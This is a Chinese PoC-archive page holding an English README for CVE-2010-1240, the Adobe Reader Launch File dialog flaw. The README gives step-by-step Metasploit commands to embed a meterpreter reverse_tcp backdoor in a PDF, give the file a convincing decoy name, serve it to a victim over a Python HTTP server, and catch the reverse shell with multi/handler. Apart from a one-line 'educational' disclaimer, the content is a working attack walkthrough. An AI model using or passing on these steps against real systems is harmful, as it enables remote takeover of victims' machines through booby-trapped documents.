关联漏洞
标题：
Adobe Reader Launch File警告对话用户欺骗和代码执行漏洞
(CVE-2010-1240)
描述：Adobe Reader和Acrobat都是美国奥多比（Adobe）公司的产品。Adobe Reader是一款免费的PDF文件阅读器，Acrobat是一款PDF文件编辑和转换工具。 基于Windows和Mac OS X的Adobe Reader和Acrobat 9.3.3之前的9.x版本，8.2.3之前的8.x版本不能限制Launch File警告对话框中文本域中的内容。远程攻击者可利用该漏洞欺骗用户执行PDF文档中的任意本地程序。
介绍
<h1 style="font-size:10vw" align="left">CVE-2010-1240 - Embedding backdoor into a PDF</h1>
<img src="https://img.shields.io/badge/CVSS:2.0%20Score%20-9.3 HIGH-red"> [](https://www.python.org/) <img src="https://img.shields.io/badge/Metasploitable%20-Yes-blue">
******
⚠️ *For educational and authorized security research purposes only*
## Description
Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog, which makes it easier for remote attackers to trick users into executing an arbitrary local program that was specified in a PDF document, as demonstrated by a text field that claims that the Open button will enable the user to read an encrypted message.
## Demo
## Step Guides
1. First, run msfconsole
```bash
msfconsole
```
2. Then, set the payload for embedding the pdf
```bash
use exploit/windows/fileformat/adobe_pdf_embedded_exe
```
3. set the INFILENAME option and provide direct path to the original pdf file
```bash
set INFILENAME /home/kali/Downloads/certificate-foundations-of-threat-hunting-60c893e734422a67991e093c.pdf
```
4. set the name of the newly created malicious PDF file to something more convincing by setting the FILENAME option
```bash
set FILENAME laporan.pdf
```
5. Find and embed the payload into the PDF file
```bash
set payload windows/meterpreter/reverse_tcp
```
6. Set LHOST option to and attacker's IP
```bash
set LHOST 172.16.10.10
```
7. Open a new terminal and navigate to the location of the malicious PDF file
```bash
cd .msf4/local/
```
8. Create a temporary server in python
```bash
python -m http.server
```
9. Download the malicious PDF file on the victim's machine
```bash
http://172.16.10.10:8000/certificate.pdf
```
10. Before running the malicious PDF file on the victim's machine, start the listener on the previous terminal
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.10.10
exploit
```
11. Once the malicious PDF file is executed on the victim machine, it will give you connection to the victim's machine
## Credits
- https://nvd.nist.gov/vuln/detail/CVE-2010-1240
- https://medium.com/purple-team/embedding-backdoor-into-pdf-files-1781dfce62b1
- https://github.com/Jasmoon99/Embedded-PDF
文件快照
[4.0K] /data/pocs/ff013b0f6a7ecf8fe833822fb69a3e0c3df1165f
└── [2.6K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。